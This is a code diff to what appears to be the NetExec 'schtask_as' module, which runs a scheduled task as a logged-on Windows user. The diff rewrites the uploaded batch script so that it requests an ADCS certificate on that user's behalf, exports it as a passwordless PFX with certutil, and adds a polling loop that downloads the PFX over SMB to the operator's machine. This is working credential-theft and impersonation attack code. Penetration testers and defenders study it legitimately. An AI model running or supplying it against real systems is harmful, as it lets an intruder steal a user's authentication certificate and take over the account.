@@ -18,6 +18,7 @@ class NXCModule:
1818 Modified by @Defte_ so that we can upload a custom binary to execute using the BINARY option (28/04/2025)
1919 Modified by @SGMG11 to execute the task without output
2020 Modified by @Defte_ to add certificate request on behalf of someone options
21+ Modified by @Azoxlpf to improve ADCS certificate handling and PFX retrieval (17/10/2025)
2122 """
2223 name = "schtask_as"
2324 description = "Remotely execute a scheduled task as a logged on user"
@@ -90,32 +91,36 @@ def on_admin_login(self, context, connection):
9091
9192 tmp_share = self .share .replace ("$" , ":" )
9293 full_path_prefixed_file = f"{ tmp_share } \\ { self .output_file_location } \\ { self .output_filename } "
93- batch_file = BytesIO (dedent (f """
94+ batch_file = BytesIO (dedent (rf """
9495 @echo off
9596 setlocal enabledelayedexpansion
9697
97- certreq -new { full_path_prefixed_file } .inf { full_path_prefixed_file } .req > nul
98- certreq -submit -config { self .ca_name } { full_path_prefixed_file } .req { full_path_prefixed_file } .cer > nul
99-
98+ set "BASE={ full_path_prefixed_file } "
99+ certreq -new "%BASE%.inf" "%BASE%.req" > nul
100+ certreq -submit -config "{ self .ca_name } " "%BASE%.req" "%BASE%.cer" > nul
101+ certutil -user -addstore my "%BASE%.cer" > nul
100102 set "HASH="
103+ for /f "tokens=2 delims=:" %%A in ('
104+ certutil -user -store my ^| findstr /r /c:"Hach\. cert\." /c:"Cert Hash"
105+ ') do (
106+ set "tmp=%%A"
107+ set "tmp=!tmp: =!"
108+ set "HASH=!tmp!"
109+ )
101110
102- for /f "usebackq tokens=* delims=" %%L in (`certreq -accept { full_path_prefixed_file } .cer`) do (
103- set "line=%%L"
104-
105- for /f "tokens=2* delims=:" %%X in ("!line!") do (
106- set "candidate=%%X"
107- set "candidate=!candidate:~1!"
108- echo !candidate! | findstr /R "^[0-9A-Fa-f][0-9A-Fa-f]*" > nul
109- if not errorlevel 1 (
110- if "!candidate:~40!"=="" (
111- set "HASH=!candidate!"
112- certutil -user -exportPFX -p "" !HASH! { full_path_prefixed_file } .pfx > nul
113- )
114- )
115- )
111+ if "!HASH!"=="" (
112+ exit /b 1
113+ )
114+ certutil -user -repairstore my !HASH! > nul 2>&1
115+ certutil -user -exportPFX -p "" -f my !HASH! "%BASE%.pfx" NoChain,NoRoot > nul 2>&1
116+
117+ if exist "%BASE%.pfx" (
118+ exit /b 0
119+ ) else (
120+ exit /b 2
116121 )
117- exit
118122 """ ).encode ())
123+
119124 connection .conn .putFile (self .share , f"{ self .output_file_location } \\ { self .output_filename } .bat" , batch_file .read )
120125 self .logger .success ("Upload batch file successfully" )
121126
@@ -222,14 +227,39 @@ def on_admin_login(self, context, connection):
222227 if not path .isdir (dump_path ):
223228 makedirs (dump_path )
224229
225- # This sleep is required as the computing of the pfx file takes some time
226- sleep (2 )
227- with open (path .join (dump_path , f"{ self .run_task_as } .pfx" ), "wb+" ) as dump_file :
230+ # Polling loop to wait for the PFX to be ready (avoid fixed sleep)
231+ max_wait_seconds = getattr (connection .args , "get_output_tries" , None )
232+ try :
233+ # connection.args.get_output_tries may be an int or str; normalize
234+ max_wait_seconds = 120 if max_wait_seconds is None else int (max_wait_seconds )
235+ except Exception :
236+ max_wait_seconds = 120
237+
238+ pfx_local_path = path .join (dump_path , f"{ self .run_task_as } .pfx" )
239+ pfx_remote_path = f"{ self .output_file_location } \\ { self .output_filename } .pfx"
240+
241+ self .logger .debug (f"Waiting up to { max_wait_seconds } s for remote PFX: { pfx_remote_path } " )
242+
243+ pfx_fetched = False
244+ last_exception = None
245+ for second in range (max_wait_seconds ):
228246 try :
229- connection .conn .getFile (self .share , f"{ self .output_file_location } \\ { self .output_filename } .pfx" , dump_file .write )
247+ # try to download; open local file only on success
248+ with open (pfx_local_path , "wb+" ) as dump_file :
249+ connection .conn .getFile (self .share , pfx_remote_path , dump_file .write )
250+ pfx_fetched = True
230251 self .logger .success (f"PFX file stored in { dump_path } /{ self .run_task_as } .pfx" )
252+ break
231253 except Exception as e :
232- self .logger .fail (f"Error while getting { self .output_file_location } \\ { self .output_filename } .pfx: { e } " )
254+ last_exception = e
255+ # not ready yet (or other transient error) — sleep and retry
256+ if second % 5 == 0 :
257+ # log every 5s to avoid spamming
258+ self .logger .debug (f"PFX not available yet (attempt { second + 1 } /{ max_wait_seconds } ): { e } " )
259+ sleep (1 )
260+
261+ if not pfx_fetched :
262+ self .logger .fail (f"Timed out after { max_wait_seconds } s waiting for { pfx_remote_path } . Last error: { last_exception } " )
233263
234264 for ext in [".bat" , ".inf" , ".cer" , ".req" , ".rsp" , ".pfx" , "" ]:
235265 try :
0 commit comments